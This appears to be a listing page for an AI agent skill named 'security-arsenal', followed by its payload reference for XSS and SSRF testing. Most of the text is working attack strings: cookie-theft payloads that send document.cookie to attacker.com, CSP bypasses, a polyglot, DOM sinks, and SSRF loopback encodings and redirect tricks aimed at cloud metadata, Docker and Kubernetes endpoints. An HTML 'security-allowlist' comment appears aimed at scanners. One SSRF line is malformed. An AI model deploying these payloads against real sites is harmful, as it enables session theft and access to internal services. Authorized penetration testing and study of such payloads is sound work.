security-arsenal
Provides security tools like wordlists and patterns. Helps find and test security flaws in systems. It's useful for those testing program security.
What it does
This agent provides tools and examples for testing system security. It contains code snippets (payloads) to find vulnerabilities like XSS, SSRF, and SQL Injection, along with wordlists and bypass rules.
When to use it
- ✓To learn about security testing.
- ✓When conducting authorized security audits.
- ✓To understand how security flaws work.
Example of what to ask your AI
“Show me examples of payloads for testing Cross-Site Scripting (XSS).”

How it works
It works like a reference library. You ask for a type of test (e.g., XSS) and it provides code examples for you to use.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add sickn33/agentic-awesome-skills --skill security-arsenalOr download just the file:

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
SECURITY ARSENAL
Payloads, bypass tables, wordlists, and submission rules.
XSS PAYLOADS
Basic Probes
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
Cookie Theft (proof of impact)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP Bypass Techniques
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML reflection
// Vue v-html binding
// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS Sources and Sinks
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL
// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE) <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
setTimeout(SOURCE, ...) // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE // javascript: URI
element.href = SOURCE
location.href = SOURCE

http://localhost:2375 # Docker API — GET /containers/json
http://localhost:10.96.0.1:443 # Kubernetes API server
SSRF IP Bypass Payloads
# All of these map to 127.0.0.1:
http://2130706433 # decimal
http://0177.0.0.1 # octal
http://0x7f.0x0.0x0.0x1 # hex
http://127.1 # short form
http://[::1] # IPv6 loopback
http://[::ffff:127.0.0.1] # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6
# DNS rebinding: A→external, then resolves to internal after allowlist check
# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

FAQ
What are 'payloads'?
Payloads are small pieces of code or commands designed to exploit a vulnerability in a system.
What are XSS, SSRF, and SQL Injection?
These are common types of security flaws in websites and applications. XSS allows injecting scripts, SSRF allows accessing internal resources, and SQL Injection allows manipulating databases.
Can I use this on any website?
No. Use is restricted to educational purposes or security testing with explicit, written permission from the system owner. Unauthorized use is illegal.
